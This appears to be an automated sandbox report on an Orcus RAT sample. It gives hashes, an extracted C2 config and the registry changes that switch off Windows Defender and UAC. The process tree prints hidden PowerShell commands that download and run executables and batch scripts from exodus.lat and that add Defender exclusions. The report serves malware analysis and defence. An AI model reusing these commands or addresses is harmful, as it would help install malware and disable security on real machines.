Analysis
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max time kernel
118s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
08-12-2024 16:59
Behavioral task
behavioral1
Sample
5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Resource
win10v2004-20241007-en
General
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Target
5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
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Size
4.0MB
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MD5
8b0fa2f9a7d3822c44580a49dd546c97
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SHA1
e90ac8103e2877a3c607fd8e4bdcd4a132846015
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SHA256
5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c
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SHA512
2f168cfaf3cab1ab5cf274bc7983a64587fd26487fffa733393146e02ea609c0a0ed8f4527b58ad82416557afe91d1efa0b11afd35fbdfce7bc7a48a77c23680
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SSDEEP
98304:MANuSZTKA0t9FFPEE6zTOwlRVny+pnp4huLe1ypSb3o9JCm:/bk9fcHiwVyWRi1ypS6JC
Malware Config
Extracted
https://exodus.lat/COMSurrogate.exe
Extracted
orcus
45.74.38.211:4782
5473b263a5de48aaabfe373bccf83dd2
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autostart_method
Disable
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enable_keylogger
false
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install_path
%programfiles%\Orcus\Orcus.exe
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reconnect_delay
10000
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registry_keyname
Orcus
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taskscheduler_taskname
Orcus
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watchdog_path
AppData\OrcusWatchdog.exe
Signatures
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Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2112-8-0x00000000006B0000-0x00000000006BA000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
Orcus family
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description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
Orcurs Rat Executable 1 IoCs
resource yara_rule behavioral1/memory/2112-1-0x00000000013C0000-0x00000000017C6000-memory.dmp orcus -
Blocklisted process makes network request 2 IoCs
flow pid Process 8 1956 powershell.exe 9 1956 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1260 powershell.exe 2840 powershell.exe 1260 powershell.exe 1956 powershell.exe 1268 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 296 smartscreen.exe -
Loads dropped DLL 1 IoCs
pid Process 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe" smartscreen.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
Hijack Execution Flow: Executable Installer File Permissions Weakness 1 TTPs 1 IoCs
Possible Turn off User Account Control's privilege elevation for standard users.
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 11 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2132 powershell.exe 1260 powershell.exe 1956 powershell.exe 2840 powershell.exe 1268 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Token: SeDebugPrivilege 2132 powershell.exe Token: SeDebugPrivilege 1260 powershell.exe Token: SeDebugPrivilege 1956 powershell.exe Token: SeDebugPrivilege 2840 powershell.exe Token: SeDebugPrivilege 1268 powershell.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 2112 wrote to memory of 2132 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 31 PID 2112 wrote to memory of 2132 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 31 PID 2112 wrote to memory of 2132 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 31 PID 2112 wrote to memory of 2132 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 31 PID 2112 wrote to memory of 2732 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 34 PID 2112 wrote to memory of 2732 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 34 PID 2112 wrote to memory of 2732 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 34 PID 2112 wrote to memory of 2732 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 34 PID 2732 wrote to memory of 1324 2732 cmd.exe 36 PID 2732 wrote to memory of 1324 2732 cmd.exe 36 PID 2732 wrote to memory of 1324 2732 cmd.exe 36 PID 2732 wrote to memory of 1324 2732 cmd.exe 36 PID 1324 wrote to memory of 2044 1324 net.exe 37 PID 1324 wrote to memory of 2044 1324 net.exe 37 PID 1324 wrote to memory of 2044 1324 net.exe 37 PID 1324 wrote to memory of 2044 1324 net.exe 37 PID 2732 wrote to memory of 1260 2732 cmd.exe 38 PID 2732 wrote to memory of 1260 2732 cmd.exe 38 PID 2732 wrote to memory of 1260 2732 cmd.exe 38 PID 2732 wrote to memory of 1260 2732 cmd.exe 38 PID 2732 wrote to memory of 1956 2732 cmd.exe 39 PID 2732 wrote to memory of 1956 2732 cmd.exe 39 PID 2732 wrote to memory of 1956 2732 cmd.exe 39 PID 2732 wrote to memory of 1956 2732 cmd.exe 39 PID 2112 wrote to memory of 1940 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 40 PID 2112 wrote to memory of 1940 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 40 PID 2112 wrote to memory of 1940 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 40 PID 2112 wrote to memory of 1940 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 40 PID 2112 wrote to memory of 296 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 42 PID 2112 wrote to memory of 296 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 42 PID 2112 wrote to memory of 296 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 42 PID 2112 wrote to memory of 296 2112 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe 42 PID 1940 wrote to memory of 2840 1940 cmd.exe 43 PID 1940 wrote to memory of 2840 1940 cmd.exe 43 PID 1940 wrote to memory of 2840 1940 cmd.exe 43 PID 1940 wrote to memory of 2840 1940 cmd.exe 43 PID 1940 wrote to memory of 1644 1940 cmd.exe 44 PID 1940 wrote to memory of 1644 1940 cmd.exe 44 PID 1940 wrote to memory of 1644 1940 cmd.exe 44 PID 1940 wrote to memory of 1644 1940 cmd.exe 44 PID 2732 wrote to memory of 1268 2732 cmd.exe 46 PID 2732 wrote to memory of 1268 2732 cmd.exe 46 PID 2732 wrote to memory of 1268 2732 cmd.exe 46 PID 2732 wrote to memory of 1268 2732 cmd.exe 46 -
System policy modification 1 TTPs 7 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "1" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe"C:\Users\Admin\AppData\Local\Temp\5765545ccc1b99ac6ac37b2d6e2a8cbaf3e30f767b069620a734c3f8022db39c.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Loads dropped DLL
- Windows security modification
- Checks whether UAC is enabled
- Hijack Execution Flow: Executable Installer File Permissions Weakness
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2112 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2132
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2732 -
C:\Windows\SysWOW64\net.exenet session3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1324 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session4⤵
- System Location Discovery: System Language Discovery
PID:2044
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1268
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2840
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C:\Windows\SysWOW64\cmd.execmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"3⤵
- System Location Discovery: System Language Discovery
PID:1644
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C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:296
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Hijack Execution Flow
1Executable Installer File Permissions Weakness
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Hijack Execution Flow
1Executable Installer File Permissions Weakness
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Hijack Execution Flow
1Executable Installer File Permissions Weakness
1Impair Defenses
3Disable or Modify Tools
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
819B
MD5f2a75175c8082ccd3e1713b00556a6e2
SHA12f5dc37978320bc1ca207c0c0aff1240aad6c7cf
SHA256019157c15709f7d6301cb0fb15f45c054230ea91f06ff817b426d7f6ccb14686
SHA512011ab44e81d61636d5b1637584faf0701a5b2226289b6200cd89ad97927f52f1c659df626afc2b46edd656960d67934fff97f5e10fd6a7454027d430feafa7a9
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Filesize
399B
MD5744f8978db36b4b9db7cb6e5c8c41e08
SHA184321921f622d20a4d40c9bef43b7744e74aaee7
SHA256cedfe277f8c600679365ce2c54a9c303907a0acadc23ed6e6968746d2e8ca468
SHA512d1584b2134bf3960af33a514b3a9fba69c7eb2fbbc3b0cffe7e493f182b20547f7596012fcc5e6b5ffbefee5a0b7d1afe45eee822cff5b0720ffd6292af2394f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5090c785c1bd8e108eeec7dfcca8805d8
SHA17cc721ff796a216e26aadf314c243b911241ad50
SHA256871628a642ccdf4497044f67868fa89a1c525cea0c1655e14fa4a78d8b3153b5
SHA512c2e14980ede61999cf3dff4d3b555b39be3ca8e34412ffd0e69628a1dc3fc7bb12bfe82b4022caedca153f49bcb81fae13e37a89b5739fef02efbfe2ea8b6915
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Filesize
164KB
MD51fed66d1f6b85bda20fe0403ca01c9bd
SHA16a3056191a7d8da167285b2bf5f9fa671022c8c1
SHA256924ee12f6a98aeeb1c7836ec8984f0f93216bfff0433bcd4ee643d33d96db74a
SHA5120fb1397078689a52d1c77cc239b1e42afa5ff87a3f5b4f825705e9bda1bd2c58bfb50a6067ea0a202fa7edb0a890cbac9314413fc8757c8b75a43fa0b12ef613